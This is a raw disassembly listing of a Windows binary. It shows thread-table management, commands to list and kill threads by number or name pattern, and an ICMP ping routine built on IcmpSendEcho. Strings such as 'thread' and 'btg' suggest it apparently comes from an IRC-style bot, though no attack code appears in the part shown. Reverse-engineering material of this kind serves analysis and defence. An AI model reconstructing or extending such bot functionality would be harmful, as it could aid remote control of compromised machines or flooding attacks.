; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409318 proc near ; CODE XREF: sub_408B30:loc_408BBCp
; sub_40A9CF:loc_40C715p
var_20 = qword ptr -20h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
lea eax, [ebp+var_8]
push eax
call ds:dword_4170D8 ; QueryPerformanceCounter
lea eax, [ebp+var_10]
push eax
call ds:dword_4170D4 ; QueryPerformanceFrequency
cmp [ebp+var_4], 0
jl short loc_409381
jg short loc_409340
cmp [ebp+var_8], 0
jbe short loc_409381
loc_409340: ; CODE XREF: sub_409318+20j
cmp [ebp+var_C], 0
jl short loc_409381
jg short loc_40934E
cmp [ebp+var_10], 0
jbe short loc_409381
loc_40934E: ; CODE XREF: sub_409318+2Ej
push [ebp+var_C]
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_8]
call sub_416D10
mov dword ptr [ebp+var_18], eax
mov dword ptr [ebp+var_18+4], edx
fild [ebp+var_18]
push ecx
push ecx
fstp [esp+20h+var_20]
call sub_416CFE ; ceil
pop ecx
pop ecx
call sub_416CF8 ; _ftol
sub eax, dword_41E2D0
jmp short locret_40938D
; ---------------------------------------------------------------------------
loc_409381: ; CODE XREF: sub_409318+1Ej
; sub_409318+26j ...
call ds:dword_4170D0 ; GetTickCount
sub eax, dword_41E2D0
locret_40938D: ; CODE XREF: sub_409318+67j
leave
retn
sub_409318 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40938F proc near ; CODE XREF: .text:004168C6p
push ebp
mov ebp, esp
and dword_41E2F0, 0
push 1980h
call sub_416B46 ; malloc
pop ecx
mov dword_41E2F8, eax
push offset dword_41E2D8
call sub_409C36
pop ecx
pop ebp
retn
sub_40938F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4093B6 proc near ; DATA XREF: sub_409479+35o
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_417278
push offset sub_416DBA
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_20], 0
and [ebp+var_1C], 0
and [ebp+var_4], 0
mov eax, [ebp+arg_0]
mov eax, [eax]
mov [ebp+var_20], eax
mov eax, [ebp+arg_0]
mov eax, [eax+4]
mov [ebp+var_1C], eax
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
push [ebp+var_20]
call ds:dword_4170DC ; IsBadCodePtr
test eax, eax
jz short loc_409431
cmp dword_41DE38, 0
jz short loc_40942F
push [ebp+var_20]
push offset dword_419474
push offset aLast ; "#last"
call sub_40D4AB
add esp, 0Ch
loc_40942F: ; CODE XREF: sub_4093B6+62j
jmp short loc_409443
; ---------------------------------------------------------------------------
loc_409431: ; CODE XREF: sub_4093B6+59j
push [ebp+var_1C]
call [ebp+var_20]
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+var_24]
jmp short loc_409468
; ---------------------------------------------------------------------------
loc_409443: ; CODE XREF: sub_4093B6:loc_40942Fj
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_409466
; ---------------------------------------------------------------------------
push offset aBtg ; "btg"
push offset aThread ; "thread"
push [ebp+var_14]
call sub_40332B
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
loc_409466: ; CODE XREF: sub_4093B6+91j
xor eax, eax
loc_409468: ; CODE XREF: sub_4093B6+8Bj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 4
sub_4093B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409479 proc near ; CODE XREF: sub_40764D+14Ap
; sub_409BF1+2Fp ...
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push 8
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_409494
xor eax, eax
jmp short locret_4094E4
; ---------------------------------------------------------------------------
loc_409494: ; CODE XREF: sub_409479+15j
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov [eax], ecx
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_4]
mov [eax+4], ecx
lea eax, [ebp+var_8]
push eax
push 0
push [ebp+var_C]
push offset sub_4093B6
push 20000h
push 0
call sub_416DC0 ; _beginthreadex
add esp, 18h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_4094D9
push [ebp+var_4]
call ds:dword_4170A4 ; CloseHandle
push 1
pop eax
jmp short locret_4094E4
; ---------------------------------------------------------------------------
loc_4094D9: ; CODE XREF: sub_409479+50j
push [ebp+var_C]
call sub_416B4C ; free
pop ecx
xor eax, eax
locret_4094E4: ; CODE XREF: sub_409479+19j
; sub_409479+5Ej
leave
retn
sub_409479 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4094E6 proc near ; DATA XREF: sub_4095A4+159o
var_1A4 = dword ptr -1A4h
var_1A0 = dword ptr -1A0h
var_19C = byte ptr -19Ch
var_19B = byte ptr -19Bh
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_417288
push offset sub_416DBA
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 18Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov al, byte_41DE30
mov [ebp+var_19C], al
push 60h
pop ecx
xor eax, eax
lea edi, [ebp+var_19B]
rep stosd
stosw
stosb
and [ebp+var_4], 0
mov eax, [ebp+arg_0]
mov eax, [eax]
mov eax, [eax+10h]
mov [ebp+var_1A0], eax
mov eax, [ebp+arg_0]
mov eax, [eax]
add eax, 14h
push eax
lea eax, [ebp+var_19C]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
push [ebp+arg_0]
mov eax, [ebp+arg_0]
mov eax, [eax]
call dword ptr [eax+10h]
mov [ebp+var_1A4], eax
or [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+var_1A4]
jmp short loc_409593
; ---------------------------------------------------------------------------
lea eax, [ebp+var_19C]
push eax
push offset aThread ; "thread"
push [ebp+var_14]
call sub_40332B
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
xor eax, eax
loc_409593: ; CODE XREF: sub_4094E6+8Aj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 4
sub_4094E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4095A4 proc near ; CODE XREF: sub_4017AA+A2p
; sub_401D6E+8Dp ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
push offset dword_41E2D8
call sub_409C6C
pop ecx
cmp dword_41E2F0, 10h
jnz short loc_4095D9
push [ebp+arg_4]
call sub_416B4C ; free
pop ecx
push offset dword_41E2D8
call sub_409C7A
pop ecx
xor eax, eax
jmp locret_409761
; ---------------------------------------------------------------------------
loc_4095D9: ; CODE XREF: sub_4095A4+18j
cmp [ebp+arg_8], 0
jz short loc_409627
and [ebp+var_10], 0
jmp short loc_4095EC
; ---------------------------------------------------------------------------
loc_4095E5: ; CODE XREF: sub_4095A4:loc_409625j
mov eax, [ebp+var_10]
inc eax
mov [ebp+var_10], eax
loc_4095EC: ; CODE XREF: sub_4095A4+3Fj
cmp [ebp+var_10], 10h
jge short loc_409627
mov eax, [ebp+var_10]
imul eax, 198h
mov ecx, dword_41E2F8
mov eax, [ecx+eax+10h]
cmp eax, [ebp+arg_0]
jnz short loc_409625
push [ebp+arg_4]
call sub_416B4C ; free
pop ecx
push offset dword_41E2D8
call sub_409C7A
pop ecx
xor eax, eax
jmp locret_409761
; ---------------------------------------------------------------------------
loc_409625: ; CODE XREF: sub_4095A4+64j
jmp short loc_4095E5
; ---------------------------------------------------------------------------
loc_409627: ; CODE XREF: sub_4095A4+39j
; sub_4095A4+4Cj
and [ebp+var_C], 0
and [ebp+var_8], 0
jmp short loc_409638
; ---------------------------------------------------------------------------
loc_409631: ; CODE XREF: sub_4095A4:loc_409672j
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_409638: ; CODE XREF: sub_4095A4+8Bj
cmp [ebp+var_8], 10h
jge short loc_409674
mov eax, [ebp+var_8]
imul eax, 198h
mov ecx, dword_41E2F8
cmp dword ptr [ecx+eax+8], 0
jnz short loc_409672
mov eax, [ebp+var_8]
imul eax, 198h
mov ecx, dword_41E2F8
add ecx, eax
mov [ebp+var_C], ecx
mov eax, [ebp+var_C]
mov ecx, [ebp+var_8]
mov [eax], ecx
jmp short loc_409674
; ---------------------------------------------------------------------------
loc_409672: ; CODE XREF: sub_4095A4+AEj
jmp short loc_409631
; ---------------------------------------------------------------------------
loc_409674: ; CODE XREF: sub_4095A4+98j
; sub_4095A4+CCj
cmp [ebp+var_C], 0
jnz short loc_409695
push [ebp+arg_4]
call sub_416B4C ; free
pop ecx
push offset dword_41E2D8
call sub_409C7A
pop ecx
xor eax, eax
jmp locret_409761
; ---------------------------------------------------------------------------
loc_409695: ; CODE XREF: sub_4095A4+D4j
cmp [ebp+arg_4], 0
jz short loc_4096A3
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_C]
mov [eax], ecx
loc_4096A3: ; CODE XREF: sub_4095A4+F5j
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov [eax+10h], ecx
lea eax, [ebp+arg_10]
mov [ebp+var_4], eax
push [ebp+var_4]
push [ebp+arg_C]
mov eax, [ebp+var_C]
add eax, 14h
push eax
call sub_416DC6 ; vsprintf
add esp, 0Ch
and [ebp+var_4], 0
mov eax, [ebp+var_C]
and dword ptr [eax+4], 0
mov eax, dword_41E2F0
inc eax
mov dword_41E2F0, eax
cmp [ebp+arg_4], 0
jz short loc_4096EB
mov eax, [ebp+arg_4]
mov [ebp+var_14], eax
jmp short loc_4096F1
; ---------------------------------------------------------------------------
loc_4096EB: ; CODE XREF: sub_4095A4+13Dj
mov eax, [ebp+var_C]
mov [ebp+var_14], eax
loc_4096F1: ; CODE XREF: sub_4095A4+145j
mov eax, [ebp+var_C]
add eax, 0Ch
push eax
push 0
push [ebp+var_14]
push offset sub_4094E6
push 0
push 0
call sub_416DC0 ; _beginthreadex
add esp, 18h
mov ecx, [ebp+var_C]
mov [ecx+8], eax
mov eax, [ebp+var_C]
cmp dword ptr [eax+8], 0
jnz short loc_409753
push [ebp+arg_4]
call sub_416B4C ; free
pop ecx
mov eax, dword_41E2F0
dec eax
mov dword_41E2F0, eax
push 198h
push 0
lea eax, [ebp+var_C]
push eax
call sub_416B6A ; memset
add esp, 0Ch
push offset dword_41E2D8
call sub_409C7A
pop ecx
xor eax, eax
jmp short locret_409761
; ---------------------------------------------------------------------------
loc_409753: ; CODE XREF: sub_4095A4+177j
push offset dword_41E2D8
call sub_409C7A
pop ecx
push 1
pop eax
locret_409761: ; CODE XREF: sub_4095A4+30j
; sub_4095A4+7Cj ...
leave
retn
sub_4095A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409763 proc near ; CODE XREF: sub_401244+73p
; sub_401244+547p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push offset dword_41E2D8
call sub_409C6C
pop ecx
mov eax, dword_41E2F0
dec eax
mov dword_41E2F0, eax
mov eax, [ebp+arg_0]
push dword ptr [eax+8]
call ds:dword_4170A4 ; CloseHandle
push 198h
push 0
push [ebp+arg_0]
call sub_416B6A ; memset
add esp, 0Ch
push offset dword_41E2D8
call sub_409C7A
pop ecx
pop ebp
retn
sub_409763 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4097A7 proc near ; CODE XREF: sub_40A9CF+EBFp
var_194 = dword ptr -194h
var_190 = byte ptr -190h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 194h
cmp [ebp+arg_0], 0
jnz short loc_4097BB
jmp locret_4098F1
; ---------------------------------------------------------------------------
loc_4097BB: ; CODE XREF: sub_4097A7+Dj
push [ebp+arg_0]
call sub_407A86
pop ecx
movzx eax, al
test eax, eax
jz short loc_409825
push [ebp+arg_0]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_4], eax
push offset dword_41E2D8
call sub_409C6C
pop ecx
cmp [ebp+var_4], 10h
jnb short loc_409815
mov eax, [ebp+var_4]
imul eax, 198h
mov ecx, dword_41E2F8
cmp dword ptr [ecx+eax+8], 0
jz short loc_409815
mov eax, [ebp+var_4]
imul eax, 198h
mov ecx, dword_41E2F8
mov dword ptr [ecx+eax+4], 1
loc_409815: ; CODE XREF: sub_4097A7+3Fj
; sub_4097A7+55j
push offset dword_41E2D8
call sub_409C7A
pop ecx
jmp locret_4098F1
; ---------------------------------------------------------------------------
loc_409825: ; CODE XREF: sub_4097A7+22j
push [ebp+arg_0]
push offset aS_0 ; "*%s*"
push 185h
lea eax, [ebp+var_190]
push eax
call sub_416BAE ; _snprintf
add esp, 10h
push offset dword_41E2D8
call sub_409C6C
pop ecx
mov eax, dword_41E2F0
mov [ebp+var_8], eax
and [ebp+var_194], 0
jmp short loc_40986A
; ---------------------------------------------------------------------------
loc_40985D: ; CODE XREF: sub_4097A7:loc_4098E1j
mov eax, [ebp+var_194]
inc eax
mov [ebp+var_194], eax
loc_40986A: ; CODE XREF: sub_4097A7+B4j
cmp [ebp+var_194], 10h
jnb short loc_4098E6
mov eax, [ebp+var_194]
imul eax, 198h
mov ecx, dword_41E2F8
cmp dword ptr [ecx+eax+8], 0
jz short loc_4098E1
mov eax, [ebp+var_8]
dec eax
mov [ebp+var_8], eax
lea eax, [ebp+var_190]
push eax
mov eax, [ebp+var_194]
imul eax, 198h
mov ecx, dword_41E2F8
lea eax, [ecx+eax+14h]
push eax
call sub_40A6EB
pop ecx
pop ecx
movzx eax, al
test eax, eax
jz short loc_4098D9
mov eax, [ebp+var_194]
imul eax, 198h
mov ecx, dword_41E2F8
mov dword ptr [ecx+eax+4], 1
loc_4098D9: ; CODE XREF: sub_4097A7+116j
cmp [ebp+var_8], 0
jnz short loc_4098E1
jmp short loc_4098E6
; ---------------------------------------------------------------------------
loc_4098E1: ; CODE XREF: sub_4097A7+E3j
; sub_4097A7+136j
jmp loc_40985D
; ---------------------------------------------------------------------------
loc_4098E6: ; CODE XREF: sub_4097A7+CAj
; sub_4097A7+138j
push offset dword_41E2D8
call sub_409C7A
pop ecx
locret_4098F1: ; CODE XREF: sub_4097A7+Fj
; sub_4097A7+79j
leave
retn
sub_4097A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4098F3 proc near ; CODE XREF: sub_40A9CF+F13p
var_19C = dword ptr -19Ch
var_198 = dword ptr -198h
var_194 = byte ptr -194h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 19Ch
cmp [ebp+arg_0], 0
jnz short loc_409907
jmp locret_409AD3
; ---------------------------------------------------------------------------
loc_409907: ; CODE XREF: sub_4098F3+Dj
push [ebp+arg_0]
call sub_407A86
pop ecx
movzx eax, al
test eax, eax
jz loc_4099B4
push [ebp+arg_0]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_4], eax
push offset dword_41E2D8
call sub_409C6C
pop ecx
cmp [ebp+var_4], 10h
jnb short loc_4099A4
mov eax, [ebp+var_4]
imul eax, 198h
mov ecx, dword_41E2F8
cmp dword ptr [ecx+eax+8], 0
jz short loc_4099A4
mov eax, dword_41E2F0
dec eax
mov dword_41E2F0, eax
mov eax, [ebp+var_4]
imul eax, 198h
mov ecx, dword_41E2F8
mov eax, [ecx+eax+8]
mov [ebp+var_8], eax
push 198h
push 0
mov eax, [ebp+var_4]
imul eax, 198h
mov ecx, dword_41E2F8
add ecx, eax
push ecx
call sub_416B6A ; memset
add esp, 0Ch
push 0
push [ebp+var_8]
call ds:dword_4170E0 ; TerminateThread
push [ebp+var_8]
call ds:dword_4170A4 ; CloseHandle
loc_4099A4: ; CODE XREF: sub_4098F3+43j
; sub_4098F3+59j
push offset dword_41E2D8
call sub_409C7A
pop ecx
jmp locret_409AD3
; ---------------------------------------------------------------------------
loc_4099B4: ; CODE XREF: sub_4098F3+22j
push [ebp+arg_0]
push offset aS_0 ; "*%s*"
push 185h
lea eax, [ebp+var_194]
push eax
call sub_416BAE ; _snprintf
add esp, 10h
push offset dword_41E2D8
call sub_409C6C
pop ecx
mov eax, dword_41E2F0
mov [ebp+var_C], eax
and [ebp+var_198], 0
jmp short loc_4099F9
; ---------------------------------------------------------------------------
loc_4099EC: ; CODE XREF: sub_4098F3:loc_409AC3j
mov eax, [ebp+var_198]
inc eax
mov [ebp+var_198], eax
loc_4099F9: ; CODE XREF: sub_4098F3+F7j
cmp [ebp+var_198], 10h
jnb loc_409AC8
mov eax, [ebp+var_198]
imul eax, 198h
mov ecx, dword_41E2F8
cmp dword ptr [ecx+eax+8], 0
jz loc_409AC3
mov eax, [ebp+var_C]
dec eax
mov [ebp+var_C], eax
lea eax, [ebp+var_194]
push eax
mov eax, [ebp+var_198]
imul eax, 198h
mov ecx, dword_41E2F8
lea eax, [ecx+eax+14h]
push eax
call sub_40A6EB
pop ecx
pop ecx
movzx eax, al
test eax, eax
jz short loc_409ABB
mov eax, dword_41E2F0
dec eax
mov dword_41E2F0, eax
mov eax, [ebp+var_198]
imul eax, 198h
mov ecx, dword_41E2F8
mov eax, [ecx+eax+8]
mov [ebp+var_19C], eax
push 198h
push 0
mov eax, [ebp+var_198]
imul eax, 198h
mov ecx, dword_41E2F8
add ecx, eax
push ecx
call sub_416B6A ; memset
add esp, 0Ch
push 0
push [ebp+var_19C]
call ds:dword_4170E0 ; TerminateThread
push [ebp+var_19C]
call ds:dword_4170A4 ; CloseHandle
loc_409ABB: ; CODE XREF: sub_4098F3+161j
cmp [ebp+var_C], 0
jnz short loc_409AC3
jmp short loc_409AC8
; ---------------------------------------------------------------------------
loc_409AC3: ; CODE XREF: sub_4098F3+12Aj
; sub_4098F3+1CCj
jmp loc_4099EC
; ---------------------------------------------------------------------------
loc_409AC8: ; CODE XREF: sub_4098F3+10Dj
; sub_4098F3+1CEj
push offset dword_41E2D8
call sub_409C7A
pop ecx
locret_409AD3: ; CODE XREF: sub_4098F3+Fj
; sub_4098F3+BCj
leave
retn
sub_4098F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409AD5 proc near ; DATA XREF: sub_409BF1+2Ao
var_1A8 = byte ptr -1A8h
var_10 = byte ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A8h
push 1A3h
push [ebp+arg_0]
lea eax, [ebp+var_1A8]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
cmp dword_41E2F0, 0
jz short loc_409B25
push 10h
push dword_41E2F0
push offset dword_4194EC
lea eax, [ebp+var_1A8]
push eax
call sub_40D53F
add esp, 10h
jmp short loc_409B3F
; ---------------------------------------------------------------------------
loc_409B25: ; CODE XREF: sub_409AD5+30j
push offset dword_4194CC
lea eax, [ebp+var_1A8]
push eax
call sub_40D53F
pop ecx
pop ecx
xor eax, eax
jmp locret_409BED
; ---------------------------------------------------------------------------
loc_409B3F: ; CODE XREF: sub_409AD5+4Ej
push offset dword_41E2D8
call sub_409C6C
pop ecx
and [ebp+var_10], 0
and [ebp+var_4], 0
jmp short loc_409B5B
; ---------------------------------------------------------------------------
loc_409B54: ; CODE XREF: sub_409AD5:loc_409BDBj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_409B5B: ; CODE XREF: sub_409AD5+7Dj
cmp [ebp+var_4], 10h
jge short loc_409BE0
mov eax, [ebp+var_4]
imul eax, 198h
mov ecx, dword_41E2F8
cmp dword ptr [ecx+eax+8], 0
jz short loc_409BDB
push offset dword_41E2D8
call sub_409C7A
pop ecx
push 3E8h
call ds:dword_41709C ; Sleep
push offset dword_41E2D8
call sub_409C6C
pop ecx
mov eax, [ebp+var_4]
imul eax, 198h
mov ecx, dword_41E2F8
lea eax, [ecx+eax+14h]
push eax
push [ebp+var_4]
push offset dword_4194BC
lea eax, [ebp+var_1A8]
push eax
call sub_40D53F
add esp, 10h
mov eax, [ebp+var_4]
imul eax, 198h
mov ecx, dword_41E2F8
cmp dword ptr [ecx+eax+4], 0
jz short loc_409BDB
jmp short loc_409BE0
; ---------------------------------------------------------------------------
loc_409BDB: ; CODE XREF: sub_409AD5+A0j
; sub_409AD5+102j
jmp loc_409B54
; ---------------------------------------------------------------------------
loc_409BE0: ; CODE XREF: sub_409AD5+8Aj
; sub_409AD5+104j
push offset dword_41E2D8
call sub_409C7A
pop ecx
xor eax, eax
locret_409BED: ; CODE XREF: sub_409AD5+65j
leave
retn 4
sub_409AD5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409BF1 proc near ; CODE XREF: sub_40A9CF+AFBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push 1A3h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_409C0B
jmp short locret_409C34
; ---------------------------------------------------------------------------
loc_409C0B: ; CODE XREF: sub_409BF1+16j
push [ebp+arg_0]
push [ebp+var_4]
call sub_405F67
pop ecx
pop ecx
push [ebp+arg_0]
push offset sub_409AD5
call sub_409479
pop ecx
pop ecx
test eax, eax
jnz short locret_409C34
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
locret_409C34: ; CODE XREF: sub_409BF1+18j
; sub_409BF1+38j
leave
retn
sub_409BF1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409C36 proc near ; CODE XREF: sub_405FA3+9p
; sub_40938F+1Fp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 18h
push 0
push [ebp+arg_0]
call sub_416B6A ; memset
add esp, 0Ch
cmp dword_41DE40, 0
jz short loc_409C61
push 80000400h
push [ebp+arg_0]
call dword_41DE40 ; InitializeCriticalSectionAndSpinCount
jmp short loc_409C6A
; ---------------------------------------------------------------------------
loc_409C61: ; CODE XREF: sub_409C36+19j
push [ebp+arg_0]
call ds:dword_4170E4 ; InitializeCriticalSection
loc_409C6A: ; CODE XREF: sub_409C36+29j
pop ebp
retn
sub_409C36 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409C6C proc near ; CODE XREF: sub_406041+10p
; sub_4095A4+Bp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push [ebp+arg_0]
call ds:dword_4170EC ; RtlEnterCriticalSection
pop ebp
retn
sub_409C6C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409C7A proc near ; CODE XREF: sub_406041+26p
; sub_406041+307p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push [ebp+arg_0]
call ds:dword_41710C ; RtlLeaveCriticalSection
pop ebp
retn
sub_409C7A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409C88 proc near ; CODE XREF: sub_40332B+10p
; sub_41113B+7EDp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov eax, [ebp+arg_4]
lock xadd [esi], eax
pop edi
pop esi
pop ebx
pop ebp
retn
sub_409C88 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409C9D proc near ; CODE XREF: sub_4042FB+17p
; sub_4042FB+25p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov eax, [ebp+arg_4]
lock xchg eax, [esi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_409C9D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409CB1 proc near ; CODE XREF: sub_409DD0+202p
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
push ebp
mov ebp, esp
sub esp, 38h
call dword_41E2FC ; IcmpCreateFile
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0FFFFFFFFh
jnz short loc_409CD8
push offset aCouldNotGetAVa ; "Could not get a valid ICMP handle\n"
call sub_416DD8 ; printf
pop ecx
xor eax, eax
jmp locret_409DCE
; ---------------------------------------------------------------------------
loc_409CD8: ; CODE XREF: sub_409CB1+13j
push 8
push 0
lea eax, [ebp+var_18]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov al, [ebp+arg_8]
mov [ebp+var_18], al
movzx eax, [ebp+arg_10]
push eax
call sub_416DD2
pop ecx
mov [ebp+var_28], eax
mov eax, [ebp+var_28]
mov [ebp+var_C], eax
movzx eax, [ebp+arg_10]
push eax
push 45h
push [ebp+var_C]
call sub_416B6A ; memset
add esp, 0Ch
movzx eax, [ebp+arg_10]
cmp eax, 8
jge short loc_409D26
mov [ebp+var_38], 8
jmp short loc_409D2D
; ---------------------------------------------------------------------------
loc_409D26: ; CODE XREF: sub_409CB1+6Aj
movzx eax, [ebp+arg_10]
mov [ebp+var_38], eax
loc_409D2D: ; CODE XREF: sub_409CB1+73j
mov eax, [ebp+var_38]
add eax, 1Ch
mov [ebp+var_24], eax
push [ebp+var_24]
call sub_416DD2
pop ecx
mov [ebp+var_2C], eax
mov eax, [ebp+var_2C]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
mov [ebp+var_4], eax
push [ebp+arg_C]
push [ebp+var_24]
push [ebp+var_10]
lea eax, [ebp+var_18]
push eax
movzx ax, [ebp+arg_10]
push eax
push [ebp+var_C]
push [ebp+arg_0]
push [ebp+var_1C]
call dword_41E308 ; IcmpSendEcho
mov [ebp+var_20], eax
mov [ebp+var_8], 1
cmp [ebp+var_20], 1
jz short loc_409D8D
call ds:dword_417064 ; RtlGetLastWin32Error
mov ecx, [ebp+arg_4]
mov [ecx], eax
jmp short loc_409DA4
; ---------------------------------------------------------------------------
loc_409D8D: ; CODE XREF: sub_409CB1+CDj
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov ecx, [ecx]
mov [eax+4], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov ecx, [ecx+8]
mov [eax+8], ecx
loc_409DA4: ; CODE XREF: sub_409CB1+DAj
push [ebp+var_1C]
call dword_41E304 ; IcmpCloseHandle
mov eax, [ebp+var_C]
mov [ebp+var_30], eax
push [ebp+var_30]
call sub_416DCC
pop ecx
mov eax, [ebp+var_10]
mov [ebp+var_34], eax
push [ebp+var_34]
call sub_416DCC
pop ecx
mov eax, [ebp+var_8]
locret_409DCE: ; CODE XREF: sub_409CB1+22j
leave
retn
sub_409CB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409DD0 proc near ; DATA XREF: sub_40A1A7+FDo
var_2F0 = dword ptr -2F0h
var_2EC = dword ptr -2ECh
var_2E8 = dword ptr -2E8h
var_2E4 = dword ptr -2E4h
var_2E0 = dword ptr -2E0h
var_2DC = dword ptr -2DCh
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_2CC = dword ptr -2CCh
var_2C8 = dword ptr -2C8h
var_2C4 = dword ptr -2C4h
var_2C0 = dword ptr -2C0h
var_2BC = dword ptr -2BCh
var_2B8 = dword ptr -2B8h
var_2B4 = dword ptr -2B4h
var_2B0 = byte ptr -2B0h
var_10D = byte ptr -10Dh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2F0h
push 2ACh
push [ebp+arg_0]
lea eax, [ebp+var_2B0]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
movzx eax, byte_41E310
test eax, eax
jnz short loc_409E6D
push offset aIcmp_dll ; "ICMP.DLL"
call ds:dword_417054 ; LoadLibraryA
mov dword_41E300, eax
cmp dword_41E300, 0
jnz short loc_409E24
xor eax, eax
jmp locret_40A1A3
; ---------------------------------------------------------------------------
